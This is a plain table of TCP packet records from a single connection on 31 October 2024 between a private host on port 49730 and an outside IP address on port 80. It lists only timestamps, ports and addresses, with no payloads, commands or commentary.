Oct 31, 2024 07:14:09.903923988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903933048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903945923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903954983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903955936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903976917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903999090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.904468060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.904478073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.904488087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.904530048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.904613972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.904634953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.904644012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.904659033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.904690027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.949965000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.949978113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.949985981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.950006962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.950011969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.950016975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.950114965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.021619081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021657944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021672964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021683931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021702051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021703959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.021714926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021727085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021742105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.021744013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021758080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.021764994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.021780014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.021814108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.021986961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022034883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.022125959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022136927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022147894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022166014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022171021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.022177935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022200108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.022219896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.022387981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022399902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022439003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.022469044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022480965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022491932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022506952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022512913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.022519112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022527933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.022536039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.022566080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.023046970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.023058891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.023072004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.023089886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.023094893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.023102999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.023113012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.023142099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.068686962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068708897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068720102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068759918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.068797112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.068803072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068814039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068825960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068837881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068845034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.068854094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.068881035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.068950891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.068996906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.070135117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.070184946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140219927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140259981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140265942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140372992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140392065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140399933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140412092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140423059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140434027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140440941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140460014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140475035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140495062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140539885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140557051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140568972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140587091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140598059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140604973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140623093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140651941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140918016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.140968084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.140991926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141004086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141042948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.141076088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141088009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141093016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141104937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141139030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141139030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.141149998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141154051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.141161919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141172886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141182899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.141212940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.141797066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141844988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.141865015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141875982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141885996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.141912937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.141943932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.187496901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.187567949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.187599897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.187613010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.187624931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.187645912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.187665939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.187671900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.187711954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.234391928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.234412909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.234422922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.234428883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.234443903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.234476089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.258769035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.258779049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.258790016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.258812904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.258824110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.258831024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.258835077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.258842945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.258883953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.258968115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259017944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259052038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259062052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259115934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259136915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259147882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259176970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259202003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259269953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259310961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259325027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259335041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259337902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259352922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259367943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259540081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259588003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259597063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259608984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259644985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259656906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259668112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259679079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.259696960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.259716988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.260067940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260080099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260092020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260107994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.260133028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.260143042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260154009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260165930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260176897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260186911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.260186911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.260210037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.260226965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.302373886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.302386045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.302396059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.302419901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.302443027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.305922985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.305937052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.305947065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.305967093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.305988073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.305998087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.305998087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.306044102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.353030920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.353049040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.353059053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.353096962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.353121042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377353907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377366066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377374887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377389908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377412081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377432108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377438068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377443075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377477884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377587080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377605915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377619982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377630949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377666950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377773046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377790928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377801895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377823114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377849102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.377859116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377870083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.377912045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378156900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378175020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378185034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378196955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378237963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378374100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378391981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378401995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378413916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378448009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378479958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378489971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378499031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378509045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378521919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378547907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378556013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378566980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378576040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.378599882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.378617048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.421149015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.421159029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.421164989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.421169996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.421175957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.421291113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.424767017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.424828053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.424838066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.424840927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.424853086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.424874067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.424887896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.466428041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.466442108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.466453075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.466579914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.471867085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.471885920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.471895933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.471919060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.471946955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496057987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496069908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496079922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496118069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496120930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496143103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496169090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496170044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496182919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496201038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496206999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496212006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496223927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496243954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496417999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496462107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496474981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496484995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496514082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496522903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496646881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496689081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496706963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496717930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496727943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496747017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496752977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496776104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.496938944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496951103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496962070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.496984959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497015953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497046947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497059107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497068882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497086048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497090101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497097015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497098923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497107983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497122049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497152090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497617006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497663975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497664928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497675896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.497703075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.497714996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.539828062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.539845943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.539855957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.539865971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.539876938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.539900064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.539935112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.543560028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.543601990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.543603897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.543612957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.543627024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.543642044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.543644905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.543659925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.543673992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.543679953 CET	49730	80	192.168.2.4	185.215.113.206
